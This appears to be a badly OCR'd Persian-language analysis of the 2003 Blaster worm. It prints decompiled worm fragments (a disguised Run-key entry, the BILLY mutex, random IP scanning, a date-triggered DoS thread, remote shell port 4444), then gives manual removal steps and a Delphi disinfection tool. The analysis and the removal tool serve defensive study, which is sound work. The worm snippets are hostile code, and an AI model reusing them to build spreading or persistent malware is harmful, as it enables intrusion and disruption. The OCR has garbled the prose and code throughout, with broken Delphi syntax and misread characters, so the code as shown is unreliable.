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XP .

Restart

»

«. Restart

System Shutdown

Thiz system iz shutting down. Please zave all
Q work, in progrezs and log off. Any unzaved

changes will be lost. This shutdown waz

initiated by MT AUTHORI TS5 TERM

Time before shutdawn - 00:00:21

~ Meszage
Windows must now restart because the
Femate Procedure Call [RPC) zervice
terminated unexpectedly

ShirazPasargad.blogfa.com

Sl e S o st 5 0




)3“\)-.‘?)5)-.’&:.‘&}@‘)):’

(DCOM RPC) TCP
(TFTP) UDP
(Remote Shell) TCP

Lovesan °

Lovesan.H (F-Secure) -

Msblast.exe -

Tftp -
W32 .Blaster.Worm (Symantec) *
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Win32 / Msblast

XP (' RPC)
(Attackers)
DoS Attack) . > DoS
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3 ISP
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! Remote Procedure Call
? Denial of Service Attack ( More information at
http://en.wikipedia.org/wiki/Distributed denial of service attack )

3 Internet Service Provider
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PENIS32.exe : Worm.Msblast.B - *
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WindowsUpdate.Com DoS
(. kimble.org, tuiasi.ro
IP * DNS

XP
Restart

msblast.exe
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Restart

Restart

! Transmission Control Protocol
? Distributed Component Object Model (

http://en.wikipedia.org/wiki/Distributed_component_object_model )
3 User Datagram Protocol
* Domain Name Server
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XP

svchost.exe (
svchost.exe

Restart XP

Generic Host Process for Win32 Services

Generic Host Process for Wind2 Services has
encountered a problem and needs to close. We are sony
for the inconvenience.

[f you were in the middle of zomething, the information vou were warking on
might be lozt.

Please tell Microzoft about thiz problem.

Wwhe have created an error report that vou can zend to help us improve
Genenc Host Process for Wind2 Services. We will treat thiz repart as
confidential and anonymos.

To zee what data this error report containg, click here.

Send Error Repart | |

XP SVCHOST.EXE (

Program Error

gvchost exe has generated erors and will be clozed by 'Windows.
'ou will need to restart the program.

An emar log iz being created.

2000 SVCHOST.EXE (
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IDAPro . C

IDA

const char msg1[]="1 just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";

#define MSBLAST EXE "msblast.exe"

#define

#define MSRCP_PORT 135 135
MS-RPC/DCOM
#define TFTP_PORT 69 69
TFTP
TFTP

! FireWall

Vo
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UDP

#define SHELL PORT 4444 4444

RegCreateKeyEx (HKEY LOCAL MACHINE,
"SOFTWARE\\Microsoft\Windows\\CurrentVersion\\Run", 0, NULL,
REG_OPTION _NON_VOLATILE, KEY ALL _ ACCESS, NULL, &hKey, 0);
RegSetValueExA(hKey, "windows auto update", 0, REG_SZ,MSBLAST EXE, 50);
RegCloseKey(hKey);

CreateMutexA(NULL, TRUE, "BILLY");
if (GetLastError() == ERROR_ALREADY EXISTS)
ExitProcess(0);

BILLY
Billy = Mutex

winxpl or win2k2 = 1;
if ((rand()%10) > 7)
winxpl or win2k2 = 2;
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(2000 WinXP ).

XP

if (!scan_local) {

ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);

}

void blaster increment_ip address()

{

for (;;) {

if (ClassD <= 254) {
ClassD++;

return;

J

ClassD = 0;
ClassC++;

if (ClassC <= 254)
return;

ClassC = 0;
ClassB++;

if (ClassB <=254)
return;

ClassB = 0;
ClassA++;

if (ClassA <= 254)
continue;

ClassA = 0;
return;

}

§

ARY

IP
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IP

#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG DEFAULT)
#define LOCALE 409 MAKELCID(MYLANG, SORT _DEFAULT)
GetDateFormat( LOCALE 409, 0, NULL, "d", daystring, sizeof(daystring));
GetDateFormat( LOCALE 409, 0, NULL, "M", monthstring, sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)

CreateThread(NULL, 0, blaster DoS _thread, 0, 0, &Threadld);

DoS

for ;)
blaster_spreader();
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RPC 2000 XP

Restart
Run Start
OK Services.MSC / S
Remote Procedure Call (RPC)
Recovery Properties
Restart the Service
OK

Task Manager
Msblast.exe

End Process

Registry Editor

HKEY LOCAL MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run
Windows auto update

Anti-Blaster
" C:\WINDOWS\system32\anti blaster.exe " /protect
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HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

uses
TIHelp32, windows, ShellAPI;

FileName.

function FileExists(const FileName : string) : boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
result := false;
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID HANDLE VALUE then
begin
result := true;
Windows.FindClose(Handle);
end;
end;

n \ll

function AddBackSlash(PathName : string) : string;

begin

if (length(PathName)>0) and (PathName[length(PathName)]<>'\") then
Result:=PathName'\'+
else
Result:=PathName;

end;

function SystemDirectory : string;

var
SysDir : PChar;

begin

getmem(SysDir, Max_Path;(

try
GetSystemDirectory(SysDir,Max_Path;(
Result:=AddBackSlash(String(SysDir((
finally
freemem(SysDir, Max_Path;(

end;
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end;

function IsAdmin: Boolean;
const
SECURITY NT AUTHORITY: TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0,
55((
SECURITY_ BUILTIN DOMAIN_RID = $00000020;
DOMAIN_ALIAS RID ADMINS =3$500000220;

var
hAccessToken : THandle;
ptgGroups : PTokenGroups;

dwlinfoBufferSize : Cardinal;
psidAdministrators : PSID;
X : Integer;
begin
Result := false;
if not OpenThreadToken(GetCurrentThread, TOKEN QUERY, TRUE,
hAccessToken) then
begin
if GetLastError <> ERROR_NO TOKEN then Exit;
if not OpenProcessToken(GetCurrentProcess, TOKEN QUERY, hAccessToken)
then Exit;
end;
try
GetTokenInformation(hAccessToken, TokenGroups, nil, 0, dwInfoBufferSize;(
if GetLastError <> ERROR INSUFFICIENT BUFFER then Exit;
GetMem(ptgGroups, dwinfoBufferSize;(
try
if not GetTokenInformation(hAccessToken, TokenGroups, ptgGroups,
dwinfoBufferSize, dwinfoBufferSize) then Exit;
if not AllocateAndlInitializeSid(SECURITY NT AUTHORITY, 2,
SECURITY BUILTIN DOMAIN RID, DOMAIN ALIAS RID ADMINS, 0, 0, 0,
0, 0, 0, psidAdministrators) then Exit;
try
for x := 0 to ptgGroups”™.GroupCount - 1 do
begin
if EqualSid(psidAdministrators, ptgGroups”.Groups[x].Sid) then
begin
Result := true;
Break;
end;
end;
finally
FreeSid(psidAdministrators;(
end;
finally
FreeMem(ptgGroups;(
end;

AR
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finally
CloseHandle(hAccessToken;(
end;

end;

function Upper(s : string) : string;

var
1: integer;

begin

result :==s;

fori:=1 to length(result) do result[i] := UpCase(result[i;([

end;

var OSVersionInfo : TOSVersionInfo;
regkey : hkey;

S : string;
SSHandle : THandle;
Continue  : boolean;
ProcEntry : TProcessEntry32;
Disp : dword;

Begin

( )

OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo;(
GetVersionEx(OSVersionInfo;(

if (OSVersionInfo.dwPlatformld << VER PLATFORM_WIN32 NT) or
(OSVersionInfo.dwMajorVersion < 5) then

begin

MessageBoxA(0, "Your system can"t be infected by the Blaster Worm. So running
the cleaner is not neccessary.', 'Uninfectable system', mb_ok or mb_systemmodal or
MB ICONINFORMATION;(

halt(0;(

end;

if paramcount = 0 then
begin

if not IsAdmin then
begin
MessageBoxA(0, 'You have to run this tool as a system administrator!',
'Administrator priviledges needed', mb_ ok or mb_systemmodal or
MB_ICONINFORMATION;(
halt(0;(
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end;

MessageBoxA(0, 'This tiny little program will delete the Blaster Worm and will
protect your PC from further infections.', 'Welcome', mb_ok or mb_systemmodal or
MB_ICONINFORMATION;(

'Anti-Blaster’

if not CopyFile(pchar(paramstr(0)), pchar(SystemDirectory + 'anti_blaster.exe'),
false(

then MoveFileEx(pchar(paramstr(0)), pchar(SystemDirectory + 'anti_blaster.exe'),
MOVEFILE DELAY UNTIL REBOOT;(

RegOpenKeyEx(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY ALL' ACCESS,
regkey;(

RegSetValueEx(regkey, 'Anti-Blaster', 0, REG_SZ, pchar(s), length(s;((

RegCloseKey(regkey;(

s ;= ""+SystemDirectory + 'anti_blaster.exe" /protect;'

RegOpenKeyEx(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY ALL ACCESS,
regkey;(

RegSetValueEx(regkey, 'Anti-Blaster', 0, REG SZ, pchar(s), length(s;((

RegCloseKey(regkey;(

s :=""+SystemDirectory + 'anti_blaster.exe" /uninstall;'

RegCreateKeyEx(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Anti-Blaster', 0, nil,
REG OPTION NON_ VOLATILE, KEY ALL ACCESS, nil, regkey, @disp;(

RegSetValueEx(regkey, 'UninstallString', 0, REG_SZ, pchar(s), length(s;((

RegSetValueEx(regkey, 'DisplayName', 0, REG_SZ, pchar('Anti-Blaster"),
length(' Anti-Blaster;(('

RegCloseKey(regkey;(

if FileExists(pchar(SystemDirectory + 'MSBLAST.Exe')) then
begin

( Process)

SSHandle := CreateToolhelp32Snapshot(TH32CS_SnapProcess, 0;(
ProcEntry.dwSize := Sizeof(ProcEntry;(

Continue := Process32First(SSHandle, ProcEntry;(

while Continue do
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begin
if Upper(ProcEntry.szExeFile) = " MSBLAST.EXE' then
TerminateProcess(OpenProcess(PROCESS TERMINATE, false,
ProcEntry.th32ProcessID), 0;(
Continue := Process32Next(SSHandle, ProcEntry;(
end;
CloseHandle(SSHandle;(

if not DeleteFile(pchar(SystemDirectory + '"MSBLAST.Exe')) then
MoveFileEx(pchar(SystemDirectory + 'MSBLAST.Exe'"), nil,
MOVEFILE DELAY UNTIL REBOOT;(

RegOpenKeyEx(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY ALL ACCESS,
regkey;(

RegDeleteValue(regkey, 'windows auto update;("

RegCloseKey(regkey;(

if MessageBoxA(0, '"The worm was successfully cleaned and the install protection
was installed correctly. Its defnitly a good idea to install the Microsoft patch now. Do
you want to visit the download page of the patch now?', 'Disinfection successful',
mb_yesno or mb_systemmodal or MB_ICONQUESTION) = idyes then

ShellExecute(0, 'open’,
'http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-
026.asp', nil, nil, sw_shownormal;(

end else

MessageBoxA(0, "'The worm was NOT found on your computer. The install
protection that prevents the worm from installing was installed successfully.', 'System
not infected', mb_ok or mb_systemmodal or MB_ICONINFORMATION;(

end;

if paramstr(1) = '/uninstall' then
begin

if not IsAdmin then
begin

Y¢
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MessageBoxA(0, 'You have to run this tool as a system administrator!',
'Administrator priviledges needed', mb ok or mb_systemmodal or
MB_ICONINFORMATION;(

halt(0;(

end;

RegOpenKeyEx(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY ALL ACCESS,
regkey;(

RegDeleteValue(regkey, 'Anti-Blaster;('

RegCloseKey(regkey;(

Uninstall

RegDeleteKey(hkey local machine,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Anti-Blaster;('

'ant1_blaster.exe'

MoveFileEx(pchar(SystemDirectory + 'anti blaster.exe'), nil,
MOVEFILE DELAY UNTIL REBOOT;(

MessageBoxA(0, "To complete the uninstallation of Anti-Blaster you have to reboot
your system!', '/Reboot needed', mb_ok or mb_systemmodal or
MB_ICONINFORMATION;(

halt(0;(

end;

/I Create the worm mutex to prevent further installations (global and session only(

CreateMutex(nil, false, 'Global\BILLY ;('
CreateMutex(nil, false, 'BILLY;('

sleep(infinite;(
end.
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Internet Resources :

1. www.microsoft.com
http://www.microsoft.com/security/encyclopedia/details.aspx?name=Win32%2fMsblast

2. www.wikipedia.org
http://en.wikipedia.org/w/index.php?title=Blaster worm&redirect=no

3. www.symantec.com
http://www.symantec.com/security response/writeup.jsp?docid=2003-081113-0229-99

4. www.ca.com

http://www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=36265

5. WWW.micsymposium.org
http://www.micsymposium.org/mics_2005/papers/paperS7.pdf

6. www.tik.ee.ethz.ch

http://www.tik.ee.ethz.ch/~ddosvax/publications/papers/dimva2005-duebendorfer-et-al-
blaster sobig.pdf

7. www.antivirus.about.com
http://antivirus.about.com/cs/virusencyclopedia/p/blaster.htm
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